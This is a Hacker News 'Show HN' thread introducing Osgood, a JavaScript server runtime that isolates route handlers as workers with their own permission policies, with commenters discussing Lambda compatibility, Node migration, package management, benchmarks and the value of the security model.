Show HN: Osgood – A secure, fast, and simple JavaScript server platform

OP here.<p>Today we build web applications with general purpose language runtimes. Osgood is an experiment that asks the question: &quot;What if we built a runtime specifically for web apps? What kind of benefits can we get from being at a higher level of abstraction?&quot;<p>Since the Osgood runtime has intimate knowledge of the routing table we get the ability to isolate controllers for free (we refer to these as Workers). The I&#x2F;O performed by the application, as well as policy enforcement, happens in Rust-land. Each worker has its own set of permissions.<p>Consider the situation where Controller A has permission to send a message to evil.ru, and Controller B has access to user credentials. Within a properly configured Osgood application this means it&#x27;s not possible to transmit user credentials to evil.ru.<p>(Incidentally our main product transparently provides similar isolation for Node.js apps. The architecture ends up looking quite different because Node.js wasn&#x27;t created with this concept in mind)

This looks nice!<p>One thing that would make this even more interesting to me is to see how close you could make the interface for each route handler to amazon lambda&#x2F;api gateway. I would love to be able develop something locally using osgood, and then deploy to either hosted osgood or aws lambda&#x2F;api gateway with minimal fuss, potentially even with a single config file that maps routes&#x2F;permissions.

I think the most secure thing a JS platform could do is provide a decent vetted standard library, so that one doesn&#x27;t have to bring in too many potentially insecure random developer github projects in the first place.

I definitely like this system of applying policies. Would like to see more than http though, like being able to set policies on execution time (e.g.: avoiding a RegEx DoS), filesystem access (e.g.: logger middleware can only write to &#x2F;var&#x2F;log&#x2F;app), module access (e.g.: code that handles sensitive info like passwords can only load trusted modules), etc<p>Is this the future goal for the project or is it more of a PoC?

Really like the policy part of this as I’ve been bitten by sloppy Node modules (self inflicted and third party) in the past.<p>However, as this is a JS server runtime and Node is the reigning champ, it would be great to get a section in the README early on about Node compatibility. How much is it going to hurt to move my Node services over?

Does this have a package management system? In my opinion, npm is the main benefit of node servers (although it&#x27;s also the main weakness as far as security is concerned).<p>If there&#x27;s no package management capability, then do people have to manage dependencies themselves?<p>Or if there is one, how is it more secure&#x2F;trust-worthy than npm?

This looks promising. Great job! It would be great if Deno and Osgood joined forces and something remarkable came out of it.

I see the `benchmarks` folder, but why not run the benchmarks so an end user can quickly compare on known hardware what the differences between node.js are performance wise roughly?

What&#x27;s the differences between a platform and a framework?

Are you from Fremont?

I really dont see the importance of this security layer, unless you major mess up and start eval&#x27;ing user input. I first I thought this was like deno where you provide permissions from the commandline, but providing permissions inside of the code itself really doesnt make much sense to me. Am I missing something&#x2F;viewing it in the wrong mindset?